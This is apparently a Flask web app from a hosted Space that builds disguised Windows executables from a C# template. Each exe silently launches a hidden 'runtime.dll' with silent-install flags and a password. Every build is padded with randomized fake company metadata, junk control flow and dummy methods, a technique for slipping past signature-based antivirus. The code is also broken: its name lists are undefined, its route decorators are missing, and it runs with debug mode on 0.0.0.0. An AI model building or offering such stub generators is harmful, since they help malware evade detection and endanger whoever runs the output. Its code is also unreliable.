Spaces:
Sleeping
Sleeping
import os | |
import random | |
import string | |
import subprocess | |
from flask import Flask, render_template_string, send_file | |
app = Flask(__name__) | |
# Base C# template (unchanged) | |
base_cs_template = """ | |
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Reflection; | |
[assembly: AssemblyTitle("<<title>>")] | |
[assembly: AssemblyDescription("<<description>>")] | |
[assembly: AssemblyConfiguration("<<configuration>>")] | |
[assembly: AssemblyCompany("<<company>>")] | |
[assembly: AssemblyProduct("<<product>>")] | |
[assembly: AssemblyCopyright("<<copyright>>")] | |
[assembly: AssemblyTrademark("<<trademark>>")] | |
[assembly: AssemblyVersion("<<version>>")] | |
[assembly: AssemblyFileVersion("<<file_version>>")] | |
[assembly: AssemblyInformationalVersion("<<informational_version>>")] | |
class Program | |
{ | |
static void Main() | |
{ | |
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll"); | |
if (File.Exists(originalFilePath)) | |
{ | |
<<control_flow_junk>> | |
Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false }); | |
<<additional_obfuscated_code>> | |
Environment.Exit(0); // Exit immediately | |
} | |
} | |
<<obfuscated_methods>> | |
} | |
""" | |
# Utility functions (unchanged) | |
def random_string(length): | |
return ''.join(random.choice(string.ascii_letters) for _ in range(length)) | |
def random_version(): | |
major = random.randint(1, 5) | |
minor = random.randint(0, 9) | |
build = random.randint(0, 99) | |
revision = random.randint(0, 99) | |
return f"{major}.{minor}.{build}.{revision}" | |
def generate_control_flow_junk(): | |
conditions = [ | |
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }", | |
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }", | |
"if (false) { Console.WriteLine(\"This will never happen\"); }", | |
"while (false) { break; }" | |
] | |
return random.choice(conditions) | |
def generate_obfuscated_methods(): | |
methods = [ | |
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}', | |
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}', | |
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}', | |
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}' | |
] | |
return "\n ".join(random.sample(methods, k=2)) | |
def generate_additional_obfuscated_code(): | |
snippets = [ | |
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219", | |
"string dummy = \"abc\";", | |
"Console.WriteLine(\"Executing...\");" | |
] | |
return random.choice(snippets) | |
def index(): | |
html_content = """ | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Script Generator</title> | |
</head> | |
<body> | |
<h1>Generate and Compile C# Script</h1> | |
<form action="/generate" method="post"> | |
<button type="submit">Generate & Compile</button> | |
</form> | |
</body> | |
</html> | |
""" | |
return render_template_string(html_content) | |
def generate_script(): | |
# Generate assembly info | |
assembly_info = { | |
'title': random.choice(titles), | |
'description': random.choice(descriptions), | |
'configuration': '', | |
'company': random.choice(companies), | |
'product': "MyProduct", | |
'copyright': f"Copyright © {random.choice(companies)} 2024", | |
'trademark': random.choice(trademarks), | |
'version': random_version(), | |
'file_version': random_version(), | |
'informational_version': random_version() | |
} | |
# Replace placeholders | |
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \ | |
.replace('<<description>>', assembly_info['description']) \ | |
.replace('<<configuration>>', assembly_info['configuration']) \ | |
.replace('<<company>>', assembly_info['company']) \ | |
.replace('<<product>>', assembly_info['product']) \ | |
.replace('<<copyright>>', assembly_info['copyright']) \ | |
.replace('<<trademark>>', assembly_info['trademark']) \ | |
.replace('<<version>>', assembly_info['version']) \ | |
.replace('<<file_version>>', assembly_info['file_version']) \ | |
.replace('<<informational_version>>', assembly_info['informational_version']) \ | |
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \ | |
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \ | |
.replace('<<obfuscated_methods>>', generate_obfuscated_methods()) | |
# Generate random names | |
script_name = random_string(10) + '.cs' | |
exe_name = random_string(10) + '.exe' | |
# Write the script | |
with open(script_name, 'w') as file: | |
file.write(modified_cs) | |
# Compile with csc | |
compile_command = [ | |
'csc', '-target:winexe', '-out:' + exe_name, script_name | |
] | |
try: | |
result = subprocess.run(compile_command, capture_output=True, text=True, check=True) | |
except subprocess.CalledProcessError as e: | |
error_message = e.stderr.strip() | |
return f"Compilation failed: {error_message}", 500 | |
except FileNotFoundError: | |
return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500 | |
# Provide a link to download the executable | |
return send_file(exe_name, as_attachment=True) | |
# Start Flask app | |
if __name__ == '__main__': | |
app.run(host='0.0.0.0', port=7860, debug=True) | |